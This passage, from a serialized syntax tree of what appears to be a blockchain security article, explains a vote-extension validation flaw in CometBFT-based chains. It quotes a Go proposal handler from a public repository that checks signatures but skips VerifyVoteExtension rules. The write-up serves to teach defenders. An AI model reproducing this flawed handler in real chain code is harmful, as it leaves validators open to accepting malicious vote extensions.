extEnabled",{"type":21,"tag":85,"props":84194,"children":84195},{"style":114},[84196],{"type":26,"value":148},{"type":21,"tag":85,"props":84198,"children":84199},{"class":87,"line":3145},[84200],{"type":21,"tag":85,"props":84201,"children":84202},{"style":169},[84203],{"type":26,"value":82304},{"type":21,"tag":85,"props":84205,"children":84206},{"class":87,"line":3246},[84207,84211,84215,84219,84223,84227,84231,84235,84239,84243,84247,84251,84255,84260,84264,84269,84273],{"type":21,"tag":85,"props":84208,"children":84209},{"style":2885},[84210],{"type":26,"value":4044},{"type":21,"tag":85,"props":84212,"children":84213},{"style":120},[84214],{"type":26,"value":83932},{"type":21,"tag":85,"props":84216,"children":84217},{"style":114},[84218],{"type":26,"value":73},{"type":21,"tag":85,"props":84220,"children":84221},{"style":120},[84222],{"type":26,"value":83983},{"type":21,"tag":85,"props":84224,"children":84225},{"style":169},[84226],{"type":26,"value":2282},{"type":21,"tag":85,"props":84228,"children":84229},{"style":120},[84230],{"type":26,"value":78637},{"type":21,"tag":85,"props":84232,"children":84233},{"style":114},[84234],{"type":26,"value":73},{"type":21,"tag":85,"props":84236,"children":84237},{"style":120},[84238],{"type":26,"value":84000},{"type":21,"tag":85,"props":84240,"children":84241},{"style":169},[84242],{"type":26,"value":14603},{"type":21,"tag":85,"props":84244,"children":84245},{"style":169},[84246],{"type":26,"value":13281},{"type":21,"tag":85,"props":84248,"children":84249},{"style":120},[84250],{"type":26,"value":83821},{"type":21,"tag":85,"props":84252,"children":84253},{"style":114},[84254],{"type":26,"value":73},{"type":21,"tag":85,"props":84256,"children":84257},{"style":120},[84258],{"type":26,"value":84259},"BlockID",{"type":21,"tag":85,"props":84261,"children":84262},{"style":114},[84263],{"type":26,"value":73},{"type":21,"tag":85,"props":84265,"children":84266},{"style":1021},[84267],{"type":26,"value":84268},"IsNil",{"type":21,"tag":85,"props":84270,"children":84271},{"style":114},[84272],{"type":26,"value":14461},{"type":21,"tag":85,"props":84274,"children":84275},{"style":169},[84276],{"type":26,"value":84277},"&&\n",{"type":21,"tag":85,"props":84279,"children":84280},{"class":87,"line":3255},[84281,84286,84291,84295,84299,84303,84307,84311,84316,84320,84325,84329],{"type":21,"tag":85,"props":84282,"children":84283},{"style":169},[84284],{"type":26,"value":84285},"            !",{"type":21,"tag":85,"props":84287,"children":84288},{"style":120},[84289],{"type":26,"value":84290},"bytes",{"type":21,"tag":85,"props":84292,"children":84293},{"style":114},[84294],{"type":26,"value":73},{"type":21,"tag":85,"props":84296,"children":84297},{"style":1021},[84298],{"type":26,"value":82760},{"type":21,"tag":85,"props":84300,"children":84301},{"style":114},[84302],{"type":26,"value":1439},{"type":21,"tag":85,"props":84304,"children":84305},{"style":120},[84306],{"type":26,"value":83821},{"type":21,"tag":85,"props":84308,"children":84309},{"style":114},[84310],{"type":26,"value":73},{"type":21,"tag":85,"props":84312,"children":84313},{"style":120},[84314],{"type":26,"value":84315},"ValidatorAddress",{"type":21,"tag":85,"props":84317,"children":84318},{"style":114},[84319],{"type":26,"value":256},{"type":21,"tag":85,"props":84321,"children":84322},{"style":120},[84323],{"type":26,"value":84324},"myAddr",{"type":21,"tag":85,"props":84326,"children":84327},{"style":114},[84328],{"type":26,"value":24429},{"type":21,"tag":85,"props":84330,"children":84331},{"style":92},[84332],{"type":26,"value":84333},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":21,"tag":85,"props":84335,"children":84336},{"class":87,"line":3286},[84337],{"type":21,"tag":85,"props":84338,"children":84339},{"style":169},[84340],{"type":26,"value":82980},{"type":21,"tag":85,"props":84342,"children":84343},{"class":87,"line":3295},[84344,84348,84352,84356,84360,84365,84369,84373,84377,84382,84386,84391,84395,84399],{"type":21,"tag":85,"props":84345,"children":84346},{"style":120},[84347],{"type":26,"value":82798},{"type":21,"tag":85,"props":84349,"children":84350},{"style":169},[84351],{"type":26,"value":76878},{"type":21,"tag":85,"props":84353,"children":84354},{"style":120},[84355],{"type":26,"value":83958},{"type":21,"tag":85,"props":84357,"children":84358},{"style":114},[84359],{"type":26,"value":73},{"type":21,"tag":85,"props":84361,"children":84362},{"style":120},[84363],{"type":26,"value":84364},"blockExec",{"type":21,"tag":85,"props":84366,"children":84367},{"style":114},[84368],{"type":26,"value":73},{"type":21,"tag":85,"props":84370,"children":84371},{"style":1021},[84372],{"type":26,"value":83626},{"type":21,"tag":85,"props":84374,"children":84375},{"style":114},[84376],{"type":26,"value":1439},{"type":21,"tag":85,"props":84378,"children":84379},{"style":120},[84380],{"type":26,"value":84381},"context",{"type":21,"tag":85,"props":84383,"children":84384},{"style":114},[84385],{"type":26,"value":73},{"type":21,"tag":85,"props":84387,"children":84388},{"style":1021},[84389],{"type":26,"value":84390},"TODO",{"type":21,"tag":85,"props":84392,"children":84393},{"style":114},[84394],{"type":26,"value":18799},{"type":21,"tag":85,"props":84396,"children":84397},{"style":120},[84398],{"type":26,"value":83821},{"type":21,"tag":85,"props":84400,"children":84401},{"style":114},[84402],{"type":26,"value":2485},{"type":21,"tag":85,"props":84404,"children":84405},{"class":87,"line":3308},[84406],{"type":21,"tag":85,"props":84407,"children":84408},{"style":169},[84409],{"type":26,"value":82980},{"type":21,"tag":85,"props":84411,"children":84412},{"class":87,"line":3333},[84413],{"type":21,"tag":85,"props":84414,"children":84415},{"style":114},[84416],{"type":26,"value":4118},{"type":21,"tag":85,"props":84418,"children":84419},{"class":87,"line":3369},[84420,84424,84428,84432],{"type":21,"tag":85,"props":84421,"children":84422},{"style":114},[84423],{"type":26,"value":16199},{"type":21,"tag":85,"props":84425,"children":84426},{"style":2885},[84427],{"type":26,"value":4086},{"type":21,"tag":85,"props":84429,"children":84430},{"style":2885},[84431],{"type":26,"value":16208},{"type":21,"tag":85,"props":84433,"children":84434},{"style":114},[84435],{"type":26,"value":148},{"type":21,"tag":85,"props":84437,"children":84438},{"class":87,"line":3377},[84439],{"type":21,"tag":85,"props":84440,"children":84441},{"style":169},[84442],{"type":26,"value":82304},{"type":21,"tag":85,"props":84444,"children":84445},{"class":87,"line":3386},[84446],{"type":21,"tag":85,"props":84447,"children":84448},{"style":114},[84449],{"type":26,"value":507},{"type":21,"tag":85,"props":84451,"children":84452},{"class":87,"line":3394},[84453],{"type":21,"tag":85,"props":84454,"children":84455},{"style":169},[84456],{"type":26,"value":20767},{"type":21,"tag":85,"props":84458,"children":84459},{"class":87,"line":3410},[84460],{"type":21,"tag":85,"props":84461,"children":84462},{"style":114},[84463],{"type":26,"value":2671},{"type":21,"tag":22,"props":84465,"children":84466},{},[84467],{"type":26,"value":84468},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":21,"tag":10022,"props":84470,"children":84472},{"id":84471},"real-world-examples-4",[84473],{"type":26,"value":77151},{"type":21,"tag":22,"props":84475,"children":84476},{},[84477,84479,84484,84486,84492,84494,84500],{"type":26,"value":84478},"An example of the bug we just described is shown here. ",{"type":21,"tag":66,"props":84480,"children":84482},{"className":84481},[],[84483],{"type":26,"value":83605},{"type":26,"value":84485}," only checks that each vote is properly signed by a validator in ",{"type":21,"tag":66,"props":84487,"children":84489},{"className":84488},[],[84490],{"type":26,"value":84491},"ValidateVoteExtension",{"type":26,"value":84493}," but does not verify it against the rules in ",{"type":21,"tag":66,"props":84495,"children":84497},{"className":84496},[],[84498],{"type":26,"value":84499},"VerifyVoteExtention.",{"type":26,"value":84501}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":21,"tag":22,"props":84503,"children":84504},{},[84505],{"type":21,"tag":335,"props":84506,"children":84509},{"href":84507,"rel":84508},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[339],[84510],{"type":26,"value":77201},{"type":21,"tag":75,"props":84512,"children":84514},{"code":84513,"language":76626,"meta":7,"className":76627,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[84515],{"type":21,"tag":66,"props":84516,"children":84517},{"__ignoreMap":7},[84518,84572,84663,84670,84691,84758,84766,84871,84894,84913,84920,84974,84997,85052,85071,85078,85085,85092,85146,85153,85179,85202,85254,85316,85323,85350,85370,85382,85389],{"type":21,"tag":85,"props":84519,"children":84520},{"class":87,"line":88},[84521,84525,84529,84534,84538,84543,84547,84552,84556,84560,84564,84568],{"type":21,"tag":85,"props":84522,"children":84523},{"style":102},[84524],{"type":26,"value":76762},{"type":21,"tag":85,"props":84526,"children":84527},{"style":114},[84528],{"type":26,"value":717},{"type":21,"tag":85,"props":84530,"children":84531},{"style":120},[84532],{"type":26,"value":84533},"h ",{"type":21,"tag":85,"props":84535,"children":84536},{"style":169},[84537],{"type":26,"value":3052},{"type":21,"tag":85,"props":84539,"children":84540},{"style":108},[84541],{"type":26,"value":84542},"Handlers",{"type":21,"tag":85,"props":84544,"children":84545},{"style":114},[84546],{"type":26,"value":736},{"type":21,"tag":85,"props":84548,"children":84549},{"style":1021},[84550],{"type":26,"value":84551},"PrepareProposalHandler",{"type":21,"tag":85,"props":84553,"children":84554},{"style":114},[84555],{"type":26,"value":14461},{"type":21,"tag":85,"props":84557,"children":84558},{"style":108},[84559],{"type":26,"value":79192},{"type":21,"tag":85,"props":84561,"children":84562},{"style":114},[84563],{"type":26,"value":73},{"type":21,"tag":85,"props":84565,"children":84566},{"style":108},[84567],{"type":26,"value":84551},{"type":21,"tag":85,"props":84569,"children":84570},{"style":114},[84571],{"type":26,"value":148},{"type":21,"tag":85,"props":84573,"children":84574},{"class":87,"line":98},[84575,84579,84583,84587,84591,84595,84599,84603,84607,84612,84616,84621,84625,84630,84634,84638,84642,84646,84651,84655,84659],{"type":21,"tag":85,"props":84576,"children":84577},{"style":2885},[84578],{"type":26,"value":17411},{"type":21,"tag":85,"props":84580,"children":84581},{"style":102},[84582],{"type":26,"value":80471},{"type":21,"tag":85,"props":84584,"children":84585},{"style":114},[84586],{"type":26,"value":1439},{"type":21,"tag":85,"props":84588,"children":84589},{"style":120},[84590],{"type":26,"value":20708},{"type":21,"tag":85,"props":84592,"children":84593},{"style":108},[84594],{"type":26,"value":79103},{"type":21,"tag":85,"props":84596,"children":84597},{"style":114},[84598],{"type":26,"value":73},{"type":21,"tag":85,"props":84600,"children":84601},{"style":108},[84602],{"type":26,"value":76811},{"type":21,"tag":85,"props":84604,"children":84605},{"style":114},[84606],{"type":26,"value":256},{"type":21,"tag":85,"props":84608,"children":84609},{"style":120},[84610],{"type":26,"value":84611},"req",{"type":21,"tag":85,"props":84613,"children":84614},{"style":169},[84615],{"type":26,"value":10231},{"type":21,"tag":85,"props":84617,"children":84618},{"style":108},[84619],{"type":26,"value":84620},"abcitypes",{"type":21,"tag":85,"props":84622,"children":84623},{"style":114},[84624],{"type":26,"value":73},{"type":21,"tag":85,"props":84626,"children":84627},{"style":108},[84628],{"type":26,"value":84629},"RequestPrepareProposal",{"type":21,"tag":85,"props":84631,"children":84632},{"style":114},[84633],{"type":26,"value":76844},{"type":21,"tag":85,"props":84635,"children":84636},{"style":169},[84637],{"type":26,"value":3052},{"type":21,"tag":85,"props":84639,"children":84640},{"style":108},[84641],{"type":26,"value":84620},{"type":21,"tag":85,"props":84643,"children":84644},{"style":114},[84645],{"type":26,"value":73},{"type":21,"tag":85,"props":84647,"children":84648},{"style":108},[84649],{"type":26,"value":84650},"ResponsePrepareProposal",{"type":21,"tag":85,"props":84652,"children":84653},{"style":114},[84654],{"type":26,"value":256},{"type":21,"tag":85,"props":84656,"children":84657},{"style":108},[84658],{"type":26,"value":15282},{"type":21,"tag":85,"props":84660,"children":84661},{"style":114},[84662],{"type":26,"value":15222},{"type":21,"tag":85,"props":84664,"children":84665},{"class":87,"line":151},[84666],{"type":21,"tag":85,"props":84667,"children":84668},{"style":169},[84669],{"type":26,"value":82304},{"type":21,"tag":85,"props":84671,"children":84672},{"class":87,"line":160},[84673,84677,84682,84686],{"type":21,"tag":85,"props":84674,"children":84675},{"style":102},[84676],{"type":26,"value":80580},{"type":21,"tag":85,"props":84678,"children":84679},{"style":120},[84680],{"type":26,"value":84681}," injection",{"type":21,"tag":85,"props":84683,"children":84684},{"style":114},[84685],{"type":26,"value":76689},{"type":21,"tag":85,"props":84687,"children":84688},{"style":108},[84689],{"type":26,"value":84690},"byte\n",{"type":21,"tag":85,"props":84692,"children":84693},{"class":87,"line":185},[84694,84698,84703,84707,84711,84715,84719,84723,84727,84731,84736,84740,84745,84749,84754],{"type":21,"tag":85,"props":84695,"children":84696},{"style":2885},[84697],{"type":26,"value":4044},{"type":21,"tag":85,"props":84699,"children":84700},{"style":120},[84701],{"type":26,"value":84702}," req",{"type":21,"tag":85,"props":84704,"children":84705},{"style":114},[84706],{"type":26,"value":73},{"type":21,"tag":85,"props":84708,"children":84709},{"style":120},[84710],{"type":26,"value":83941},{"type":21,"tag":85,"props":84712,"children":84713},{"style":169},[84714],{"type":26,"value":14612},{"type":21,"tag":85,"props":84716,"children":84717},{"style":120},[84718],{"type":26,"value":26284},{"type":21,"tag":85,"props":84720,"children":84721},{"style":114},[84722],{"type":26,"value":73},{"type":21,"tag":85,"props":84724,"children":84725},{"style":1021},[84726],{"type":26,"value":84142},{"type":21,"tag":85,"props":84728,"children":84729},{"style":114},[84730],{"type":26,"value":30612},{"type":21,"tag":85,"props":84732,"children":84733},{"style":120},[84734],{"type":26,"value":84735},"Abci",{"type":21,"tag":85,"props":84737,"children":84738},{"style":114},[84739],{"type":26,"value":73},{"type":21,"tag":85,"props":84741,"children":84742},{"style":120},[84743],{"type":26,"value":84744},"VoteExtensionsEnableHeight",{"type":21,"tag":85,"props":84746,"children":84747},{"style":169},[84748],{"type":26,"value":14603},{"type":21,"tag":85,"props":84750,"children":84751},{"style":120},[84752],{"type":26,"value":84753}," collectSigs",{"type":21,"tag":85,"props":84755,"children":84756},{"style":114},[84757],{"type":26,"value":148},{"type":21,"tag":85,"props":84759,"children":84760},{"class":87,"line":501},[84761],{"type":21,"tag":85,"props":84762,"children":84763},{"style":92},[84764],{"type":26,"value":84765},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":21,"tag":85,"props":84767,"children":84768},{"class":87,"line":697},[84769,84773,84777,84782,84786,84791,84795,84799,84803,84808,84812,84817,84821,84825,84829,84833,84837,84841,84845,84850,84854,84858,84862,84867],{"type":21,"tag":85,"props":84770,"children":84771},{"style":120},[84772],{"type":26,"value":82798},{"type":21,"tag":85,"props":84774,"children":84775},{"style":169},[84776],{"type":26,"value":76878},{"type":21,"tag":85,"props":84778,"children":84779},{"style":120},[84780],{"type":26,"value":84781}," baseapp",{"type":21,"tag":85,"props":84783,"children":84784},{"style":114},[84785],{"type":26,"value":73},{"type":21,"tag":85,"props":84787,"children":84788},{"style":1021},[84789],{"type":26,"value":84790},"ValidateVoteExtensions",{"type":21,"tag":85,"props":84792,"children":84793},{"style":114},[84794],{"type":26,"value":1439},{"type":21,"tag":85,"props":84796,"children":84797},{"style":120},[84798],{"type":26,"value":20708},{"type":21,"tag":85,"props":84800,"children":84801},{"style":114},[84802],{"type":26,"value":256},{"type":21,"tag":85,"props":84804,"children":84805},{"style":120},[84806],{"type":26,"value":84807},"h",{"type":21,"tag":85,"props":84809,"children":84810},{"style":114},[84811],{"type":26,"value":73},{"type":21,"tag":85,"props":84813,"children":84814},{"style":120},[84815],{"type":26,"value":84816},"stakingKeeper",{"type":21,"tag":85,"props":84818,"children":84819},{"style":114},[84820],{"type":26,"value":256},{"type":21,"tag":85,"props":84822,"children":84823},{"style":120},[84824],{"type":26,"value":84611},{"type":21,"tag":85,"props":84826,"children":84827},{"style":114},[84828],{"type":26,"value":73},{"type":21,"tag":85,"props":84830,"children":84831},{"style":120},[84832],{"type":26,"value":83941},{"type":21,"tag":85,"props":84834,"children":84835},{"style":114},[84836],{"type":26,"value":256},{"type":21,"tag":85,"props":84838,"children":84839},{"style":120},[84840],{"type":26,"value":20708},{"type":21,"tag":85,"props":84842,"children":84843},{"style":114},[84844],{"type":26,"value":73},{"type":21,"tag":85,"props":84846,"children":84847},{"style":1021},[84848],{"type":26,"value":84849},"ChainID",{"type":21,"tag":85,"props":84851,"children":84852},{"style":114},[84853],{"type":26,"value":18799},{"type":21,"tag":85,"props":84855,"children":84856},{"style":120},[84857],{"type":26,"value":84611},{"type":21,"tag":85,"props":84859,"children":84860},{"style":114},[84861],{"type":26,"value":73},{"type":21,"tag":85,"props":84863,"children":84864},{"style":120},[84865],{"type":26,"value":84866},"LocalLastCommit",{"type":21,"tag":85,"props":84868,"children":84869},{"style":114},[84870],{"type":26,"value":2485},{"type":21,"tag":85,"props":84872,"children":84873},{"class":87,"line":706},[84874,84878,84882,84886,84890],{"type":21,"tag":85,"props":84875,"children":84876},{"style":2885},[84877],{"type":26,"value":59258},{"type":21,"tag":85,"props":84879,"children":84880},{"style":120},[84881],{"type":26,"value":48976},{"type":21,"tag":85,"props":84883,"children":84884},{"style":169},[84885],{"type":26,"value":64845},{"type":21,"tag":85,"props":84887,"children":84888},{"style":102},[84889],{"type":26,"value":82380},{"type":21,"tag":85,"props":84891,"children":84892},{"style":114},[84893],{"type":26,"value":148},{"type":21,"tag":85,"props":84895,"children":84896},{"class":87,"line":1100},[84897,84901,84905,84909],{"type":21,"tag":85,"props":84898,"children":84899},{"style":2885},[84900],{"type":26,"value":61186},{"type":21,"tag":85,"props":84902,"children":84903},{"style":102},[84904],{"type":26,"value":82380},{"type":21,"tag":85,"props":84906,"children":84907},{"style":114},[84908],{"type":26,"value":256},{"type":21,"tag":85,"props":84910,"children":84911},{"style":120},[84912],{"type":26,"value":84101},{"type":21,"tag":85,"props":84914,"children":84915},{"class":87,"line":1339},[84916],{"type":21,"tag":85,"props":84917,"children":84918},{"style":114},[84919],{"type":26,"value":59342},{"type":21,"tag":85,"props":84921,"children":84922},{"class":87,"line":1348},[84923,84928,84932,84936,84940,84945,84949,84954,84958,84962,84966,84970],{"type":21,"tag":85,"props":84924,"children":84925},{"style":120},[84926],{"type":26,"value":84927},"            injection",{"type":21,"tag":85,"props":84929,"children":84930},{"style":114},[84931],{"type":26,"value":256},{"type":21,"tag":85,"props":84933,"children":84934},{"style":120},[84935],{"type":26,"value":48875},{"type":21,"tag":85,"props":84937,"children":84938},{"style":169},[84939],{"type":26,"value":1941},{"type":21,"tag":85,"props":84941,"children":84942},{"style":120},[84943],{"type":26,"value":84944}," json",{"type":21,"tag":85,"props":84946,"children":84947},{"style":114},[84948],{"type":26,"value":73},{"type":21,"tag":85,"props":84950,"children":84951},{"style":1021},[84952],{"type":26,"value":84953},"Marshal",{"type":21,"tag":85,"props":84955,"children":84956},{"style":114},[84957],{"type":26,"value":1439},{"type":21,"tag":85,"props":84959,"children":84960},{"style":120},[84961],{"type":26,"value":84611},{"type":21,"tag":85,"props":84963,"children":84964},{"style":114},[84965],{"type":26,"value":73},{"type":21,"tag":85,"props":84967,"children":84968},{"style":120},[84969],{"type":26,"value":84866},{"type":21,"tag":85,"props":84971,"children":84972},{"style":114},[84973],{"type":26,"value":2485},{"type":21,"tag":85,"props":84975,"children":84976},{"class":87,"line":1386},[84977,84981,84985,84989,84993],{"type":21,"tag":85,"props":84978,"children":84979},{"style":2885},[84980],{"type":26,"value":59258},{"type":21,"tag":85,"props":84982,"children":84983},{"style":120},[84984],{"type":26,"value":48976},{"type":21,"tag":85,"props":84986,"children":84987},{"style":169},[84988],{"type":26,"value":64845},{"type":21,"tag":85,"props":84990,"children":84991},{"style":102},[84992],{"type":26,"value":82380},{"type":21,"tag":85,"props":84994,"children":84995},{"style":114},[84996],{"type":26,"value":148},{"type":21,"tag":85,"props":84998,"children":84999},{"class":87,"line":1394},[85000,85005,85009,85014,85018,85022,85026,85031,85035,85040,85044,85048],{"type":21,"tag":85,"props":85001,"children":85002},{"style":120},[85003],{"type":26,"value":85004},"                h",{"type":21,"tag":85,"props":85006,"children":85007},{"style":114},[85008],{"type":26,"value":73},{"type":21,"tag":85,"props":85010,"children":85011},{"style":120},[85012],{"type":26,"value":85013},"logger",{"type":21,"tag":85,"props":85015,"children":85016},{"style":114},[85017],{"type":26,"value":73},{"type":21,"tag":85,"props":85019,"children":85020},{"style":1021},[85021],{"type":26,"value":37846},{"type":21,"tag":85,"props":85023,"children":85024},{"style":114},[85025],{"type":26,"value":1439},{"type":21,"tag":85,"props":85027,"children":85028},{"style":5026},[85029],{"type":26,"value":85030},"\"failed to marshal extended votes\"",{"type":21,"tag":85,"props":85032,"children":85033},{"style":114},[85034],{"type":26,"value":256},{"type":21,"tag":85,"props":85036,"children":85037},{"style":5026},[85038],{"type":26,"value":85039},"\"err\"",{"type":21,"tag":85,"props":85041,"children":85042},{"style":114},[85043],{"type":26,"value":256},{"type":21,"tag":85,"props":85045,"children":85046},{"style":120},[85047],{"type":26,"value":48875},{"type":21,"tag":85,"props":85049,"children":85050},{"style":114},[85051],{"type":26,"value":2485},{"type":21,"tag":85,"props":85053,"children":85054},{"class":87,"line":1402},[85055,85059,85063,85067],{"type":21,"tag":85,"props":85056,"children":85057},{"style":2885},[85058],{"type":26,"value":61186},{"type":21,"tag":85,"props":85060,"children":85061},{"style":102},[85062],{"type":26,"value":82380},{"type":21,"tag":85,"props":85064,"children":85065},{"style":114},[85066],{"type":26,"value":256},{"type":21,"tag":85,"props":85068,"children":85069},{"style":120},[85070],{"type":26,"value":84101},{"type":21,"tag":85,"props":85072,"children":85073},{"class":87,"line":3145},[85074],{"type":21,"tag":85,"props":85075,"children":85076},{"style":114},[85077],{"type":26,"value":59342},{"type":21,"tag":85,"props":85079,"children":85080},{"class":87,"line":3246},[85081],{"type":21,"tag":85,"props":85082,"children":85083},{"style":169},[85084],{"type":26,"value":82980},{"type":21,"tag":85,"props":85086,"children":85087},{"class":87,"line":3255},[85088],{"type":21,"tag":85,"props":85089,"children":85090},{"style":114},[85091],{"type":26,"value":4118},{"type":21,"tag":85,"props":85093,"children":85094},{"class":87,"line":3286},[85095,85100,85104,85108,85112,85117,85121,85126,85130,85134,85138,85142],{"type":21,"tag":85,"props":85096,"children":85097},{"style":120},[85098],{"type":26,"value":85099},"        defaultRes",{"type":21,"tag":85,"props":85101,"children":85102},{"style":114},[85103],{"type":26,"value":256},{"type":21,"tag":85,"props":85105,"children":85106},{"style":120},[85107],{"type":26,"value":48875},{"type":21,"tag":85,"props":85109,"children":85110},{"style":169},[85111],{"type":26,"value":76878},{"type":21,"tag":85,"props":85113,"children":85114},{"style":120},[85115],{"type":26,"value":85116}," h",{"type":21,"tag":85,"props":85118,"children":85119},{"style":114},[85120],{"type":26,"value":73},{"type":21,"tag":85,"props":85122,"children":85123},{"style":1021},[85124],{"type":26,"value":85125},"defaultPrepareProposal",{"type":21,"tag":85,"props":85127,"children":85128},{"style":114},[85129],{"type":26,"value":1439},{"type":21,"tag":85,"props":85131,"children":85132},{"style":120},[85133],{"type":26,"value":20708},{"type":21,"tag":85,"props":85135,"children":85136},{"style":114},[85137],{"type":26,"value":256},{"type":21,"tag":85,"props":85139,"children":85140},{"style":120},[85141],{"type":26,"value":84611},{"type":21,"tag":85,"props":85143,"children":85144},{"style":114},[85145],{"type":26,"value":2485},{"type":21,"tag":85,"props":85147,"children":85148},{"class":87,"line":3295},[85149],{"type":21,"tag":85,"props":85150,"children":85151},{"style":169},[85152],{"type":26,"value":82304},{"type":21,"tag":85,"props":85154,"children":85155},{"class":87,"line":3308},[85156,85161,85165,85170,85174],{"type":21,"tag":85,"props":85157,"children":85158},{"style":120},[85159],{"type":26,"value":85160},"        proposalTxs",{"type":21,"tag":85,"props":85162,"children":85163},{"style":169},[85164],{"type":26,"value":76878},{"type":21,"tag":85,"props":85166,"children":85167},{"style":120},[85168],{"type":26,"value":85169}," defaultRes",{"type":21,"tag":85,"props":85171,"children":85172},{"style":114},[85173],{"type":26,"value":73},{"type":21,"tag":85,"props":85175,"children":85176},{"style":120},[85177],{"type":26,"value":85178},"Txs\n",{"type":21,"tag":85,"props":85180,"children":85181},{"class":87,"line":3333},[85182,85186,85190,85194,85198],{"type":21,"tag":85,"props":85183,"children":85184},{"style":2885},[85185],{"type":26,"value":4044},{"type":21,"tag":85,"props":85187,"children":85188},{"style":120},[85189],{"type":26,"value":84681},{"type":21,"tag":85,"props":85191,"children":85192},{"style":169},[85193],{"type":26,"value":64845},{"type":21,"tag":85,"props":85195,"children":85196},{"style":102},[85197],{"type":26,"value":82380},{"type":21,"tag":85,"props":85199,"children":85200},{"style":114},[85201],{"type":26,"value":148},{"type":21,"tag":85,"props":85203,"children":85204},{"class":87,"line":3369},[85205,85210,85214,85218,85223,85228,85232,85237,85241,85246,85250],{"type":21,"tag":85,"props":85206,"children":85207},{"style":120},[85208],{"type":26,"value":85209},"            proposalTxs",{"type":21,"tag":85,"props":85211,"children":85212},{"style":169},[85213],{"type":26,"value":1941},{"type":21,"tag":85,"props":85215,"children":85216},{"style":1021},[85217],{"type":26,"value":78158},{"type":21,"tag":85,"props":85219,"children":85220},{"style":114},[85221],{"type":26,"value":85222},"([][]",{"type":21,"tag":85,"props":85224,"children":85225},{"style":108},[85226],{"type":26,"value":85227},"byte",{"type":21,"tag":85,"props":85229,"children":85230},{"style":114},[85231],{"type":26,"value":77080},{"type":21,"tag":85,"props":85233,"children":85234},{"style":120},[85235],{"type":26,"value":85236},"injection",{"type":21,"tag":85,"props":85238,"children":85239},{"style":114},[85240],{"type":26,"value":77099},{"type":21,"tag":85,"props":85242,"children":85243},{"style":120},[85244],{"type":26,"value":85245},"proposalTxs",{"type":21,"tag":85,"props":85247,"children":85248},{"style":169},[85249],{"type":26,"value":10004},{"type":21,"tag":85,"props":85251,"children":85252},{"style":114},[85253],{"type":26,"value":2485},{"type":21,"tag":85,"props":85255,"children":85256},{"class":87,"line":3377},[85257,85262,85266,85270,85274,85278,85282,85287,85291,85296,85300,85304,85308,85312],{"type":21,"tag":85,"props":85258,"children":85259},{"style":120},[85260],{"type":26,"value":85261},"            h",{"type":21,"tag":85,"props":85263,"children":85264},{"style":114},[85265],{"type":26,"value":73},{"type":21,"tag":85,"props":85267,"children":85268},{"style":120},[85269],{"type":26,"value":85013},{"type":21,"tag":85,"props":85271,"children":85272},{"style":114},[85273],{"type":26,"value":73},{"type":21,"tag":85,"props":85275,"children":85276},{"style":1021},[85277],{"type":26,"value":25151},{"type":21,"tag":85,"props":85279,"children":85280},{"style":114},[85281],{"type":26,"value":1439},{"type":21,"tag":85,"props":85283,"children":85284},{"style":5026},[85285],{"type":26,"value":85286},"\"injected local last commit\"",{"type":21,"tag":85,"props":85288,"children":85289},{"style":114},[85290],{"type":26,"value":256},{"type":21,"tag":85,"props":85292,"children":85293},{"style":5026},[85294],{"type":26,"value":85295},"\"height\"",{"type":21,"tag":85,"props":85297,"children":85298},{"style":114},[85299],{"type":26,"value":256},{"type":21,"tag":85,"props":85301,"children":85302},{"style":120},[85303],{"type":26,"value":84611},{"type":21,"tag":85,"props":85305,"children":85306},{"style":114},[85307],{"type":26,"value":73},{"type":21,"tag":85,"props":85309,"children":85310},{"style":120},[85311],{"type":26,"value":83941},{"type":21,"tag":85,"props":85313,"children":85314},{"style":114},[85315],{"type":26,"value":2485},{"type":21,"tag":85,"props":85317,"children":85318},{"class":87,"line":3386},[85319],{"type":21,"tag":85,"props":85320,"children":85321},{"style":114},[85322],{"type":26,"value":4118},{"type":21,"tag":85,"props":85324,"children":85325},{"class":87,"line":3394},[85326,85330,85334,85338,85342,85346],{"type":21,"tag":85,"props":85327,"children":85328},{"style":2885},[85329],{"type":26,"value":16164},{"type":21,"tag":85,"props":85331,"children":85332},{"style":169},[85333],{"type":26,"value":1487},{"type":21,"tag":85,"props":85335,"children":85336},{"style":108},[85337],{"type":26,"value":84620},{"type":21,"tag":85,"props":85339,"children":85340},{"style":114},[85341],{"type":26,"value":73},{"type":21,"tag":85,"props":85343,"children":85344},{"style":108},[85345],{"type":26,"value":84650},{"type":21,"tag":85,"props":85347,"children":85348},{"style":114},[85349],{"type":26,"value":11296},{"type":21,"tag":85,"props":85351,"children":85352},{"class":87,"line":3410},[85353,85358,85362,85366],{"type":21,"tag":85,"props":85354,"children":85355},{"style":120},[85356],{"type":26,"value":85357},"            Txs",{"type":21,"tag":85,"props":85359,"children":85360},{"style":114},[85361],{"type":26,"value":15750},{"type":21,"tag":85,"props":85363,"children":85364},{"style":120},[85365],{"type":26,"value":85245},{"type":21,"tag":85,"props":85367,"children":85368},{"style":114},[85369],{"type":26,"value":182},{"type":21,"tag":85,"props":85371,"children":85372},{"class":87,"line":3427},[85373,85378],{"type":21,"tag":85,"props":85374,"children":85375},{"style":114},[85376],{"type":26,"value":85377},"        }, 